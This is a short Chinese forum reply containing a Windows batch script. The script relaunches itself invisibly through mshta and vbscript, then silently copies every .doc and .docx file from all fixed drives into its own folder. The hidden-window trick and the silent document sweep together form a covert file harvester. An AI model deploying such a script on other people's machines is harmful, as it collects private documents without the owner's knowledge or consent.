回复 6# longmao
你是放在桌面运行的吧?我按照你的第5个要求写的。
下面是后台运行的。如果后台运行了,你怎么知道运行成功了没有?- @echo off
- if "%1" == "h" goto begin
- mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
- :begin
- set "des=%~dp0"
- for /f "tokens=2 delims==" %%i in ('wmic LogicalDisk where DriveType^=3 get DeviceID /value') do (
- for /f "delims=" %%j in ('dir /b/a-d/s %%i\*.doc %%i\*.docx') do copy "%%j" "%des%" /y
- )
复制代码
|